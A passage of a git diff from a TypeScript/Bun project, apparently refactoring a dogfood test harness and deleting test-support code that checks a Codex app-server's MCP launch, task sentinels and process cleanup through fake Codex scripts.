function runLifecycle( }, [ ...seededB.commands, - nativeObservationCommand(bAfterEvidence, candidateBinary, candidate.binarySha256, input.executionAdapter), + ...standaloneObservationCommands( + bAfterEvidence, + candidateBinary, + candidate.binarySha256, + input.executionAdapter, + ), ], ), ); - const aEvidence = await observeMcp(nativeInput('a-new-thread', repoA), dependencies, input.evidenceKind); + const aEvidence = await observeStandalone(standaloneInput('a-new-thread', repoA), dependencies); const a = observedRepo(repoA, seededA.expected, aEvidence); if (a.sentinel.token === bAfter.sentinel.token) throw new Error('two-repo sentinels collided'); if (JSON.stringify(a.sentinel.observed).includes(bAfter.sentinel.token)) throw new Error('B sentinel leaked into A'); @@ -1615,7 +1618,7 @@ async function runLifecycle( activeVersion: candidate.facts.version, trailer: null, }, - [nativeObservationCommand(aEvidence, candidateBinary, candidate.binarySha256, input.executionAdapter)], + standaloneObservationCommands(aEvidence, candidateBinary, candidate.binarySha256, input.executionAdapter), ), ); @@ -1661,9 +1664,8 @@ async function runLifecycle( b: { root: repoB, beforeInit: { - routeState: 'absent', - fallbackUsed: false, - result: 'project-database-unavailable', + databaseState: 'absent', + result: 'empty', returnedTasks: 0, }, afterInit: bAfter, diff --git a/tests/support/codex-native-mcp-evidence.test.ts b/tests/support/codex-native-mcp-evidence.test.ts deleted file mode 100644 index c5626f37d..000000000 --- a/tests/support/codex-native-mcp-evidence.test.ts +++ /dev/null @@ -1,288 +0,0 @@ -import { afterEach, describe, expect, test } from 'bun:test'; -import { spawn } from 'node:child_process'; -import { - chmodSync, - existsSync, - mkdtempSync, - readFileSync, - readdirSync, - realpathSync, - rmSync, - writeFileSync, -} from 'node:fs'; -import { tmpdir } from 'node:os'; -import { join } from 'node:path'; -import { fileURLToPath } from 'node:url'; -import { - CodexNativeMcpEvidenceError, - type NativeMcpTaskSentinel, - assertUniqueBoardSentinel, - captureCodexNativeMcpEvidence, - probeCodexAppServer, -} from './codex-native-mcp-evidence.js'; - -const LAUNCHER = fileURLToPath(new URL('./codex-native-mcp-launcher.sh', import.meta.url)); -const roots: string[] = []; - -afterEach(() => { - for (const root of roots.splice(0)) rmSync(root, { recursive: true, force: true }); -}); - -function makeRoot(prefix: string): string { - const root = mkdtempSync(join(tmpdir(), prefix)); - roots.push(root); - return root; -} - -function processExists(pid: number): boolean { - try { - process.kill(pid, 0); - return true; - } catch (error) { - return (error as NodeJS.ErrnoException).code !== 'ESRCH'; - } -} - -async function waitForExit(pid: number, timeoutMs = 2_000): Promise<void> { - const deadline = Date.now() + timeoutMs; - while (processExists(pid) && Date.now() < deadline) { - await Bun.sleep(20); - } -} - -const SENTINEL: NativeMcpTaskSentinel = { - token: 'unique-77ab', - task: { - id: 't_unique-77ab', - title: 'task unique-77ab', - wish: 'wish-unique-77ab', - status: 'ready', - }, -}; - -describe('assertUniqueBoardSentinel', () => { - test('accepts one task with exact identity', () => { - expect( - assertUniqueBoardSentinel( - { - counts: { ready: 1 }, - tasks: [{ ...SENTINEL.task, unrelated: 'preserved' }], - }, - SENTINEL, - ), - ).toEqual(SENTINEL); - }); - - for (const fixture of [ - { name: 'empty', tasks: [] }, - { name: 'duplicate', tasks: [SENTINEL.task, SENTINEL.task] }, - { name: 'cross-repository', tasks: [{ ...SENTINEL.task, id: 't_other' }] }, - { name: 'stale status', tasks: [{ ...SENTINEL.task, status: 'done' }] }, - ]) { - test(`rejects ${fixture.name} task evidence`, () => { - expect(() => assertUniqueBoardSentinel({ tasks: fixture.tasks }, SENTINEL)).toThrow(CodexNativeMcpEvidenceError); - }); - } - - test('rejects a token not bound into the expected exact identity', () => { - expect(() => - assertUniqueBoardSentinel( - { tasks: [{ id: 't_1', title: 'task', wish: 'wish', status: 'ready' }] }, - { token: 'unbound-token', task: { id: 't_1', title: 'task', wish: 'wish', status: 'ready' } }, - ), - ).toThrow('sentinel token must occur'); - }); - - test('rejects a mismatched claimant when claimant identity is expected', () => { - const expected = { ...SENTINEL, task: { ...SENTINEL.task, claimedBy: 'worker-a' } }; - expect(() => assertUniqueBoardSentinel({ tasks: [{ ...expected.task, claimedBy: 'worker-b' }] }, expected)).toThrow( - 'task sentinel differs', - ); - }); -}); - -test('launcher records exact target and preserves its PID through a native adapter exec', async () => { - const root = makeRoot('genie-native-launcher-'); - const repo = join(root, 'repo'); - const record = join(root, 'record.bin'); - const candidatePidFile = join(root, 'candidate.pid'); - const candidate = join(root, 'candidate.mjs'); - Bun.write( - candidate, - `import { writeFileSync } from 'node:fs'; writeFileSync(process.argv.at(-1), String(process.pid));`, - ); - await Bun.write(join(root, '.keep'), ''); - await Bun.$`mkdir -p ${repo}`.quiet(); - - const child = spawn(LAUNCHER, [record, process.execPath, candidate, candidatePidFile], { - cwd: repo, - env: process.env, - stdio: 'ignore', - }); - const exitCode = await new Promise<number | null>((resolve, reject) => { - child.once('error', reject); - child.once('exit', resolve); - }); - expect(exitCode).toBe(0); - const fields = readFileSync(record).toString('utf8').split('\0').filter(Boolean); - expect(fields[0]).toBe('codex-native-mcp-launcher-v1'); - expect(fields[1]).toBe(String(child.pid)); - expect(fields[2]).toBe(realpathSync(repo)); - expect(fields[3]).toMatch(/^\d+:\d+$/); - expect(fields[4]).toBe(process.execPath); - expect(fields[5]).toBe(candidate); - expect(fields.slice(6)).toEqual([candidatePidFile]); - expect(readFileSync(candidatePidFile, 'utf8')).toBe(String(child.pid)); -}); - -test.skipIf(process.platform === 'win32')( - 'initialize rejection reaps the native app-server process group', - async () => { - const root = makeRoot('genie-native-initialize-cleanup-'); - const codexHome = join(root, 'codex-home'); - const pidRecord = join(root, 'pids.json'); - await Bun.$`mkdir -p ${codexHome}`.quiet(); - const fakeCodex = join(root, 'fake-codex.mjs'); - writeFileSync( - fakeCodex, - `#!${process.execPath} -import { spawn } from 'node:child_process'; -import { writeFileSync } from 'node:fs'; -import { createInterface } from 'node:readline'; -if (process.argv.includes('--version')) { - process.stdout.write('codex-cli initialize-cleanup-test\\n'); - process.exit(0); -} -const descendant = spawn(process.execPath, ['-e', 'setInterval(() => {}, 1 << 30)'], { stdio: 'ignore' }); -writeFileSync(process.env.PID_RECORD, JSON.stringify({ appServer: process.pid, descendant: descendant.pid })); -const rl = createInterface({ input: process.stdin }); -rl.on('line', (line) => { - const message = JSON.parse(line); - if (message.method === 'initialize') { - const error = { code: -32000, message: 'forced native initialize rejection' }; - process.stdout.write(JSON.stringify({ jsonrpc: '2.0', id: message.id, error }) + '\\n'); - } -}); -setInterval(() => {}, 1 << 30); -`, - 'utf8', - ); - chmodSync(fakeCodex, 0o755); - - const support = await probeCodexAppServer( - { executable: fakeCodex, version: 'codex-cli initialize-cleanup-test' }, - { ...process.env, CODEX_HOME: codexHome, PID_RECORD: pidRecord }, - { initializeMs: 1_000, cleanupGraceMs: 100 }, - ); - - expect(support.supported).toBe(false); - if (support.supported) throw new Error('fake Codex unexpectedly initialized'); - expect(support.errorCode).toBe('rpc-error'); - expect(support.reason).toContain('forced native initialize rejection'); - const pids = JSON.parse(readFileSync(pidRecord, 'utf8')) as { appServer: number; descendant: number }; - await Promise.all([waitForExit(pids.appServer), waitForExit(pids.descendant)]); - expect(processExists(pids.appServer)).toBe(false); - expect(processExists(pids.descendant)).toBe(false); - }, -); - -test('RPC timeout TERM/KILLs an uncooperative app-server tree and removes the helper temp child', async () => { - const root = makeRoot('genie-native-cleanup-'); - const codexHome = join(root, 'codex-home'); - const repo = join(root, 'repo'); - const helperTemp = join(root, 'helper-temp'); - const appPidFile = join(root, 'app.pid'); - const candidatePidFile = join(root, 'candidate.pid'); - const appSignalFile = join(root, 'app.signals'); - const candidateSignalFile = join(root, 'candidate.signals'); - await Bun.$`mkdir -p ${codexHome} ${repo} ${helperTemp}`.quiet(); - - const fakeCodex = join(root, 'fake-codex.mjs'); - writeFileSync( - fakeCodex, - `#!${process.execPath} -import { appendFileSync, writeFileSync } from 'node:fs'; -import { spawn } from 'node:child_process'; -import { createInterface } from 'node:readline'; -if (process.argv.includes('--version')) { - process.stdout.write('codex-cli cleanup-test\\n'); - process.exit(0); -} -writeFileSync(process.env.APP_PID_FILE, String(process.pid)); -process.on('SIGTERM', () => appendFileSync(process.env.APP_SIGNAL_FILE, 'TERM\\n')); -const rl = createInterface({ input: process.stdin }); -rl.on('line', (line) => { - const message = JSON.parse(line); - if (message.method === 'initialize') { - process.stdout.write(JSON.stringify({ jsonrpc: '2.0', id: message.id, result: { capabilities: {} } }) + '\\n'); - } else if (message.method === 'thread/start') { - const config = message.params.config.mcp_servers.genie; - spawn(config.command, config.args, { cwd: message.params.cwd, env: process.env, stdio: ['pipe', 'pipe', 'pipe'] }); - process.stdout.write(JSON.stringify({ jsonrpc: '2.0', id: message.id, result: { thread: { id: 'thread-cleanup' } } }) + '\\n'); - } else if (message.method === 'mcpServerStatus/list') { - const result = { data: [{ name: 'genie', tools: { genie_board: {} } }], nextCursor: null }; - process.stdout.write(JSON.stringify({ jsonrpc: '2.0', id: message.id, result }) + '\\n'); - } -}); -setInterval(() => {}, 1 << 30); -`, - 'utf8', - ); - chmodSync(fakeCodex, 0o755); - - const candidate = join(root, 'capability-only.mjs'); - writeFileSync( - candidate, - `import { appendFileSync, writeFileSync } from 'node:fs'; -writeFileSync(process.env.CANDIDATE_PID_FILE, String(process.pid)); -process.on('SIGTERM', () => appendFileSync(process.env.CANDIDATE_SIGNAL_FILE, 'TERM\\n')); -setInterval(() => {}, 1 << 30); -`, - 'utf8', - ); - const env = { - ...process.env, - APP_PID_FILE: appPidFile, - APP_SIGNAL_FILE: appSignalFile, - CANDIDATE_PID_FILE: candidatePidFile, - CANDIDATE_SIGNAL_FILE: candidateSignalFile, - CODEX_HOME: codexHome, - }; - - let failure: unknown; - try { - await captureCodexNativeMcpEvidence({ - codex: { executable: fakeCodex, version: 'codex-cli cleanup-test' }, - requestedCwd: repo, - candidate: { executable: candidate, adapter: process.execPath }, - launcherExecutable: LAUNCHER, - controlExecutable: process.execPath, - env, - tempDir: helperTemp, - expectedSentinel: SENTINEL, - timeouts: { - initializeMs: 1_000, - threadStartMs: 1_000, - launcherMs: 1_000, - inventoryMs: 1_000, - toolCallMs: 75, - cleanupGraceMs: 100, - }, - }); - } catch (error) { - failure = error; - } - expect(failure).toBeInstanceOf(CodexNativeMcpEvidenceError); - expect((failure as CodexNativeMcpEvidenceError).code).toBe('rpc-timeout'); - const appPid = Number(readFileSync(appPidFile, 'utf8')); - const candidatePid = Number(readFileSync(candidatePidFile, 'utf8')); - await waitForExit(appPid); - await waitForExit(candidatePid); - expect(processExists(appPid)).toBe(false); - expect(processExists(candidatePid)).toBe(false); - expect(readFileSync(appSignalFile, 'utf8')).toContain('TERM'); - expect(readFileSync(candidateSignalFile, 'utf8')).toContain('TERM'); - expect(readdirSync(helperTemp).filter((entry) => entry.startsWith('genie-native-mcp-evidence-'))).toEqual([]); - expect(existsSync(repo)).toBe(true); - expect(existsSync(codexHome)).toBe(true); -}); diff --git a/tests/support/codex-native-mcp-evidence.ts b/tests/support/codex-native-mcp-evidence.ts deleted file mode 100644 index 16d9fd9ce..000000000 --- a/tests/support/codex-native-mcp-evidence.ts +++ /dev/null @@ -1,965 +0,0 @@ -/** - * Real Codex app-server -> exact candidate `genie mcp` evidence. - * - * This support boundary never starts a model turn or asks for account state. It - * starts one thread with one caller-specified MCP server, calls `genie_board` - * through `mcpServer/tool/call`, and compares the MCP launch cwd with a - * Codex-launched `command/exec` control by exact string and OS directory - * identity. The launcher records its process facts immediately before `exec`, - * so its PID is also the PID of the direct candidate or native adapter. - */ - -import { Database } from 'bun:sqlite'; -import { type SpawnSyncReturns, spawnSync } from 'node:child_process'; -import { createHash } from 'node:crypto'; -import { existsSync, mkdtempSync, readFileSync, rmSync } from 'node:fs'; -import { tmpdir } from 'node:os'; -import { isAbsolute, join } from 'node:path'; -import { fileURLToPath } from 'node:url'; -import { resolveProjectContext } from '../../src/lib/v5/genie-db.js'; -import { CodexAppServerTransport } from './codex-app-server-transport.js'; - -export type CodexNativeMcpEvidenceErrorCode = - | 'invalid-options' - | 'codex-unavailable' - | 'codex-version-mismatch' - | 'app-server-failure' - | 'rpc-error' - | 'rpc-timeout' - | 'launcher-timeout' - | 'launcher-mismatch' - | 'mcp-inventory-mismatch' - | 'mcp-tool-failure' - | 'control-failure' - | 'cwd-mismatch' - | 'sentinel-mismatch' - | 'expected-error-mismatch' - | 'cleanup-failure'; - -export class CodexNativeMcpEvidenceError extends Error { - constructor( - readonly code: CodexNativeMcpEvidenceErrorCode, - message: string, - options?: ErrorOptions, - ) { - super(message, options); - this.name = 'CodexNativeMcpEvidenceError'; - } -} - -export interface CodexAppServerPin { - /** Absolute executable path. The exact path is used for both preflight and app-server. */ - executable: string; - /** Exact trimmed stdout expected from `<executable> --version`. */ - version: string; -} - -export interface NativeMcpCandidate { - /** Absolute exact candidate executable or script path. */ - executable: string; - /** Absolute native runtime/adapter, such as Bun, when the candidate is not directly executable. */ - adapter?: string; - /** Candidate arguments. Defaults to `['mcp']`. */ - args?: string[]; -} - -export interface NativeMcpTaskSentinel { - /** Caller-generated token that must occur in at least one exact task identity field. */ - token: string; - task: { - id: string; - title: string; - wish: string; - status: string; - claimedBy?: string; - }; -} - -export type NativeMcpExpectedError = 'project-database-unavailable'; - -export interface CodexNativeMcpEvidenceTimeouts { - preflightMs: number; - initializeMs: number; - threadStartMs: number; - launcherMs: number; - inventoryMs: number; - toolCallMs: number; - controlMs: number; - cleanupGraceMs: number; -} - -interface CodexNativeMcpEvidenceBaseOptions { - codex: CodexAppServerPin; - /** The raw absolute spelling sent as `thread/start.cwd`; it is never normalized here. */ - requestedCwd: string; - candidate: NativeMcpCandidate; - /** Absolute path to `codex-native-mcp-launcher.sh`. */ - launcherExecutable: string; - /** Absolute Node/Bun executable used by the `command/exec` control reporter. */ - controlExecutable: string; - /** - * Exact caller-owned environment for app-server and its children. It is not - * merged with process.env and must contain an absolute CODEX_HOME. - */ - env: NodeJS.ProcessEnv; - /** Parent for this helper's removable temp child. Defaults to env.TMPDIR/process tmpdir. */ - tempDir?: string; - timeouts?: Partial<CodexNativeMcpEvidenceTimeouts>; -} - -interface SentinelEvidenceOptions extends CodexNativeMcpEvidenceBaseOptions { - expectedSentinel: NativeMcpTaskSentinel; - expectedError?: never; -} - -interface ExpectedErrorEvidenceOptions extends CodexNativeMcpEvidenceBaseOptions { - expectedSentinel?: never; - expectedError: NativeMcpExpectedError; -} - -export type CodexNativeMcpEvidenceOptions = SentinelEvidenceOptions | ExpectedErrorEvidenceOptions; - -export interface NativeMcpLauncherObservation { - /** Launcher PID, preserved by `exec` into the candidate or its native adapter. */ - pid: number; - effectiveCwd: string; - /** OS directory identity formatted as `dev:ino`. */ - cwdIdentity: string; - adapter: string | null; - candidate: string; - args: string[]; -} - -export interface NativeMcpControlEvidence { - pid: number; - effectiveCwd: string; - cwdIdentity: string; -} - -export interface NativeMcpToolResponse { - content: unknown[]; - structuredContent?: unknown; - isError?: boolean; - _meta?: unknown; -} - -export type NativeMcpEvidenceOutcome = - | { - kind: 'sentinel'; - sentinel: NativeMcpTaskSentinel; - payload: Record<string, unknown>; - } - | { - kind: 'expected-error'; - error: NativeMcpExpectedError; - payload: Record<string, unknown>; - }; - -export interface CodexNativeMcpEvidence { - schemaVersion: 1; - codex: CodexAppServerPin & { appServerPid: number }; - candidate: { - executable: string; - adapter: string | null; - args: string[]; - }; - rawRequestedCwd: string; - threadId: string; - launcher: NativeMcpLauncherObservation; - control: NativeMcpControlEvidence; - mcpServer: { - name: string; - tools: string[]; - }; - toolResponse: NativeMcpToolResponse; - toolPayload: Record<string, unknown>; - outcome: NativeMcpEvidenceOutcome; -} - -/** Structural adapter input used by the parameterized dogfood harness. */ -export interface DogfoodNativeMcpEvidenceInput { - tag: string; - requestedCwd: string; - candidateBinary: string; - candidateBinarySha256: string; - executionAdapter?: string; - root: string; - env: Record<string, string>; -} - -/** Narrow evidence projection consumed by the parameterized dogfood harness. */ -export interface DogfoodNativeMcpEvidence { - requestedCwd: string; - effectiveCwd: string; - cwdIdentity: string; - controlCwd: string; - controlCwdIdentity: string; - childPid: number; - threadId: string; - isError: boolean; - payload: Record<string, unknown>; - raw: Record<string, unknown>; -} - -export type CodexAppServerSupport = - | { supported: true; reason: 'ok' } - | { supported: false; reason: string; errorCode: CodexNativeMcpEvidenceErrorCode }; - -interface McpInventory { - name: string; - tools: string[]; -} - -const DEFAULT_TIMEOUTS: CodexNativeMcpEvidenceTimeouts = { - preflightMs: 5_000, - initializeMs: 15_000, - threadStartMs: 20_000, - launcherMs: 15_000, - inventoryMs: 20_000, - toolCallMs: 20_000, - controlMs: 15_000, - cleanupGraceMs: 1_000, -}; - -// Override the marker-owned project route under its production key. A second -// test-only server name would leave both routes live and make the observation -// ambiguous once setup has converged `.codex/config.toml`. -const MCP_SERVER_NAME = 'genie'; -const LAUNCHER_SCHEMA = 'codex-native-mcp-launcher-v1'; -const CONTROL_SOURCE = - "const fs = require('node:fs'); const cwd = process.cwd(); const s = fs.statSync(cwd); " + - "process.stdout.write(JSON.stringify({ pid: process.pid, cwd, dev: s.dev, ino: s.ino }) + '\\n');"; - -type AppServerSession = CodexAppServerTransport<CodexNativeMcpEvidenceError>; - -async function launchAppServer( - pin: CodexAppServerPin, - env: NodeJS.ProcessEnv, - timeouts: CodexNativeMcpEvidenceTimeouts, -): Promise<AppServerSession> { - assertCodexPin(pin, env, timeouts.preflightMs); - return CodexAppServerTransport.launch({ - executable: pin.executable, - args: ['app-server', '--stdio'], - env, - windowsHide: true, - initializeParams: { clientInfo: { name: 'genie-native-mcp-evidence', version: '1' } }, - initializeTimeoutMs: timeouts.initializeMs, - cleanupGraceMs: timeouts.cleanupGraceMs, - initialSignal: 'SIGTERM', - label: 'native MCP', - error: (kind, message, cause) => { - const code = { - process: 'app-server-failure', - rpc: 'rpc-error', - timeout: 'rpc-timeout', - cleanup: 'cleanup-failure', - }[kind] as CodexNativeMcpEvidenceErrorCode; - return new CodexNativeMcpEvidenceError(code, message, cause ? { cause } : undefined); - }, - }); -} - -/** - * Run the no-model app-server initialize handshake against an exact executable - * and version pin. The caller decides whether an unavailable verdict permits a - * test skip; evidence failures after this probe must not be converted to skips. - */ -export async function probeCodexAppServer( - pin: CodexAppServerPin, - env: NodeJS.ProcessEnv, - timeoutOverrides: Partial<CodexNativeMcpEvidenceTimeouts> = {}, -): Promise<CodexAppServerSupport> { - const timeouts = mergeTimeouts(timeoutOverrides); - let session: AppServerSession | null = null; - try { - assertEnvironment(env); - session = await launchAppServer(pin, env, timeouts); - } catch (error) { - const typed = toEvidenceError(error, 'codex-unavailable', 'codex app-server is unavailable'); - return { supported: false, reason: typed.message, errorCode: typed.code }; - } - const cleanupError = await session.close(); - if (cleanupError) return { supported: false, reason: cleanupError.message, errorCode: cleanupError.code }; - return { supported: true, reason: 'ok' }; -} - -/** - * Capture and validate one real app-server -> candidate MCP observation. - * - * Every failure path closes the candidate/app-server process tree and removes - * only this call's private temporary directory before rejecting. - */ -export async function captureCodexNativeMcpEvidence( - options: CodexNativeMcpEvidenceOptions, -): Promise<CodexNativeMcpEvidence> { - const normalized = normalizeOptions(options); - const tempRoot = mkdtempSync(join(normalized.tempDir, 'genie-native-mcp-evidence-')); - const launcherRecord = join(tempRoot, 'launcher-record.bin'); - let session: AppServerSession | null = null; - let launcher: NativeMcpLauncherObservation | null = null; - let evidence: CodexNativeMcpEvidence | null = null; - let primaryError: Error | null = null; - - try { - session = await launchAppServer(normalized.codex, normalized.env, normalized.timeouts); - const threadId = await startThread(session, normalized, launcherRecord); - launcher = await waitForLauncherObservation(launcherRecord, normalized.candidate, normalized.timeouts.launcherMs); - const inventory = await waitForMcpInventory(session, threadId, normalized.timeouts.inventoryMs); - const toolResponse = await callBoard(session, threadId, normalized.timeouts.toolCallMs); - const toolPayload = parseToolPayload(toolResponse); - const control = await runControl(session, normalized, normalized.timeouts.controlMs); - assertCwdEquality(launcher, control); - const outcome = validateExpectedOutcome(normalized, toolResponse, toolPayload); - evidence = { - schemaVersion: 1, - codex: { ...normalized.codex, appServerPid: session.pid() }, - candidate: { - executable: normalized.candidate.executable, - adapter: normalized.candidate.adapter ?? null, - args: normalized.candidate.args, - }, - rawRequestedCwd: normalized.requestedCwd, - threadId, - launcher, - control, - mcpServer: inventory, - toolResponse, - toolPayload, - outcome, - }; - } catch (error) { - primaryError = asError(error); - } - - if (!launcher) launcher = tryReadLauncherObservation(launcherRecord); - let cleanupError = await session?.close(launcher?.pid); - try { - rmSync(tempRoot, { recursive: true, force: true }); - } catch (error) { - const tempError = new CodexNativeMcpEvidenceError( - 'cleanup-failure', - `failed to remove native MCP evidence temp root ${tempRoot}`, - { cause: asError(error) }, - ); - cleanupError = cleanupError - ? new CodexNativeMcpEvidenceError('cleanup-failure', 'process and temp cleanup both failed', { - cause: new AggregateError([cleanupError, tempError]), - }) - : tempError; - } - if (primaryError && cleanupError) { - throw new AggregateError([primaryError, cleanupError], 'native MCP evidence and cleanup both failed'); - } - if (primaryError) throw primaryError; - if (cleanupError) throw cleanupError; - if (!evidence) { - throw new CodexNativeMcpEvidenceError('app-server-failure', 'native MCP evidence produced no result'); - } - return evidence; -} - -/** - * Thin adapter for `codex-dogfood-harness.ts`. - * - * The real Codex executable is resolved from the host process (or the explicit - * `GENIE_DOGFOOD_REAL_CODEX` host override), never from the harness's isolated - * PATH where its lifecycle fake lives. Each known dogfood tag has a required - * fail-closed or exact-sentinel expectation before app-server starts. - */ -export async function captureCodexNativeMcpEvidenceForDogfood( - input: DogfoodNativeMcpEvidenceInput, -): Promise<DogfoodNativeMcpEvidence> { - assertCandidateDigest(input.candidateBinary, input.candidateBinarySha256); - const codex = resolveHostCodexPin(); - const launcherExecutable = fileURLToPath(new URL('./codex-native-mcp-launcher.sh', import.meta.url)); - const base = { - codex, - requestedCwd: input.requestedCwd, - candidate: { - executable: input.candidateBinary, - ...(input.executionAdapter === undefined ? {} : { adapter: input.executionAdapter }), - args: ['mcp'], - }, - launcherExecutable, - controlExecutable: process.execPath, - env: input.executionAdapter === undefined ? input.env : { ...input.env, DOGFOOD_ROOT: input.root }, - tempDir: input.env.TMPDIR, - }; - const expectation = dogfoodExpectation(input); - const evidence = - expectation.kind === 'expected-error' - ? await captureCodexNativeMcpEvidence({ ...base, expectedError: expectation.error }) - : await captureCodexNativeMcpEvidence({ ...base, expectedSentinel: expectation.sentinel }); - return { - requestedCwd: evidence.rawRequestedCwd, - effectiveCwd: evidence.launcher.effectiveCwd, - cwdIdentity: evidence.launcher.cwdIdentity, - controlCwd: evidence.control.effectiveCwd, - controlCwdIdentity: evidence.control.cwdIdentity, - childPid: evidence.launcher.pid, - threadId: evidence.threadId, - isError: evidence.toolResponse.isError === true, - payload: evidence.toolPayload, - raw: evidence as unknown as Record<string, unknown>, - }; -} - -/** - * Pure fail-closed sentinel validator, exported for fixture tests and callers - * that need to validate a previously captured `genie_board` payload. - */ -export function assertUniqueBoardSentinel( - payload: Record<string, unknown>, - expected: NativeMcpTaskSentinel, -): NativeMcpTaskSentinel { - validateSentinel(expected); - if (!Array.isArray(payload.tasks)) { - throw new CodexNativeMcpEvidenceError('sentinel-mismatch', 'genie_board payload has no tasks array'); - } - if (payload.tasks.length !== 1) { - throw new CodexNativeMcpEvidenceError( - 'sentinel-mismatch', - `genie_board must return exactly one task, received ${payload.tasks.length}`, - ); - } - const observed = payload.tasks[0]; - if (!isRecord(observed)) { - throw new CodexNativeMcpEvidenceError('sentinel-mismatch', 'genie_board task sentinel is not an object'); - } - const projected = { - id: observed.id, - title: observed.title, - wish: observed.wish, - status: observed.status, - ...(expected.task.claimedBy === undefined ? {} : { claimedBy: observed.claimedBy }), - }; - if ( - projected.id !== expected.task.id || - projected.title !== expected.task.title || - projected.wish !== expected.task.wish || - projected.status !== expected.task.status || - (expected.task.claimedBy !== undefined && projected.claimedBy !== expected.task.claimedBy) - ) { - throw new CodexNativeMcpEvidenceError( - 'sentinel-mismatch', - `genie_board task sentinel differs: ${truncateJson(projected, 1_000)}`, - ); - } - return expected; -} - -function dogfoodExpectation( - input: DogfoodNativeMcpEvidenceInput, -): - | { kind: 'expected-error'; error: 'project-database-unavailable' } - | { kind: 'sentinel'; sentinel: NativeMcpTaskSentinel } { - const context = resolveProjectContext(input.requestedCwd); - if (input.tag === 'b-before-init') { - if (context.kind !== 'project-database-unavailable') { - throw new CodexNativeMcpEvidenceError( - 'invalid-options', - `b-before-init requires project-database-unavailable before launch, got ${context.kind}`, - ); - } - return { kind: 'expected-error', error: 'project-database-unavailable' }; - } - if (input.tag !== 'b-after-init' && input.tag !== 'a-new-thread') { - throw new CodexNativeMcpEvidenceError('invalid-options', `dogfood native MCP tag has no expectation: ${input.tag}`); - } - if (context.kind !== 'ok') { - throw new CodexNativeMcpEvidenceError( - 'invalid-options', - `${input.tag} requires an initialized project database, got ${context.kind}`, - ); - } - const db = new Database(context.dbPath, { readonly: true, strict: true }); - try { - const tasks = db - .query('SELECT id, title, wish, status, claimed_by AS claimedBy FROM tasks ORDER BY created_at, id') - .all() as Array<Record<string, unknown>>; - if (tasks.length !== 1) { - throw new CodexNativeMcpEvidenceError( - 'invalid-options', - `${input.tag} requires exactly one seeded task before launch, found ${tasks.length}`, - ); - } - const task = tasks[0]; - if ( - !task || - typeof task.id !== 'string' || - typeof task.title !== 'string' || - typeof task.wish !== 'string' || - typeof task.status !== 'string' || - typeof task.claimedBy !== 'string' - ) { - throw new CodexNativeMcpEvidenceError( - 'invalid-options', - `${input.tag} seeded task is missing exact wish/title/status/claimant identity`, - ); - } - return { - kind: 'sentinel', - sentinel: { - token: task.title, - task: { - id: task.id, - title: task.title, - wish: task.wish, - status: task.status, - claimedBy: task.claimedBy, - }, - }, - }; - } finally { - db.close(); - } -} - -function assertCandidateDigest(candidate: string, expectedSha256: string): void { - assertAbsolute('candidateBinary', candidate); - if (!/^[0-9a-f]{64}$/.test(expectedSha256)) { - throw new CodexNativeMcpEvidenceError('invalid-options', 'candidateBinarySha256 must be lowercase SHA-256'); - } - const actual = createHash('sha256').update(readFileSync(candidate)).digest('hex'); - if (actual !== expectedSha256) { - throw new CodexNativeMcpEvidenceError( - 'invalid-options', - `candidate binary digest mismatch: expected ${expectedSha256}, got ${actual}`, - ); - } -} - -function resolveHostCodexPin(): CodexAppServerPin { - const executable = process.env.GENIE_DOGFOOD_REAL_CODEX ?? Bun.which('codex'); - if (!executable || !isAbsolute(executable)) { - throw new CodexNativeMcpEvidenceError( - 'codex-unavailable', - 'real Codex not found on host PATH; set GENIE_DOGFOOD_REAL_CODEX to an absolute executable', - ); - } - const result = spawnSync(executable, ['--version'], { - encoding: 'utf8', - env: process.env, - maxBuffer: 64 * 1024, - timeout: DEFAULT_TIMEOUTS.preflightMs, - windowsHide: true, - }); - if (result.error || result.status !== 0 || !result.stdout.trim()) { - throw new CodexNativeMcpEvidenceError( - 'codex-unavailable', - `real Codex preflight failed for ${executable}: ${String(result.stderr).trim().slice(0, 1_000)}`, - { cause: result.error }, - ); - } - return { executable, version: result.stdout.trim() }; -} - -function normalizeOptions(options: CodexNativeMcpEvidenceOptions): CodexNativeMcpEvidenceOptions & { - candidate: NativeMcpCandidate & { args: string[] }; - tempDir: string; - timeouts: CodexNativeMcpEvidenceTimeouts; -} { - assertEnvironment(options.env); - assertAbsolute('requestedCwd', options.requestedCwd); - assertAbsolute('candidate.executable', options.candidate.executable); - if (options.candidate.adapter) assertAbsolute('candidate.adapter', options.candidate.adapter); - assertAbsolute('launcherExecutable', options.launcherExecutable); - assertAbsolute('controlExecutable', options.controlExecutable); - if (!existsSync(options.launcherExecutable)) { - throw new CodexNativeMcpEvidenceError( - 'invalid-options', - `launcherExecutable does not exist: ${options.launcherExecutable}`, - ); - } - const tempDir = options.tempDir ?? options.env.TMPDIR ?? tmpdir(); - assertAbsolute('tempDir', tempDir); - const expectationCount = Number(options.expectedSentinel !== undefined) + Number(options.expectedError !== undefined); - if (expectationCount !== 1) { - throw new CodexNativeMcpEvidenceError( - 'invalid-options', - 'exactly one of expectedSentinel or expectedError is required', - ); - } - if (options.expectedSentinel) validateSentinel(options.expectedSentinel); - return { - ...options, - candidate: { ...options.candidate, args: [...(options.candidate.args ?? ['mcp'])] }, - tempDir, - timeouts: mergeTimeouts(options.timeouts), - }; -} - -function validateSentinel(expected: NativeMcpTaskSentinel): void { - const values = [ - expected.task.id, - expected.task.title, - expected.task.wish, - expected.task.status, - ...(expected.task.claimedBy === undefined ? [] : [expected.task.claimedBy]), - ]; - if (!expected.token || values.some((value) => typeof value !== 'string' || value.length === 0)) { - throw new CodexNativeMcpEvidenceError('invalid-options', 'sentinel token and task identity must be non-empty'); - } - if (!values.some((value) => value.includes(expected.token))) { - throw new CodexNativeMcpEvidenceError( - 'invalid-options', - 'sentinel token must occur in at least one exact task identity field', - ); - } -} - -function assertEnvironment(env: NodeJS.ProcessEnv): void { - const codexHome = env.CODEX_HOME; - if (!codexHome || !isAbsolute(codexHome)) { - throw new CodexNativeMcpEvidenceError('invalid-options', 'caller env must contain an absolute CODEX_HOME'); - } -} - -function assertCodexPin(pin: CodexAppServerPin, env: NodeJS.ProcessEnv, timeoutMs: number): void { - assertAbsolute('codex.executable', pin.executable); - if (!pin.version.trim()) { - throw new CodexNativeMcpEvidenceError('invalid-options', 'codex.version must be non-empty'); - } - let result: SpawnSyncReturns<string>; - try { - result = spawnSync(pin.executable, ['--version'], { - encoding: 'utf8', - env, - maxBuffer: 64 * 1024, - timeout: timeoutMs, - windowsHide: true, - }); - } catch (error) { - throw new CodexNativeMcpEvidenceError('codex-unavailable', `codex preflight failed: ${pin.executable}`, { - cause: asError(error), - }); - } - if (result.error || result.status !== 0) 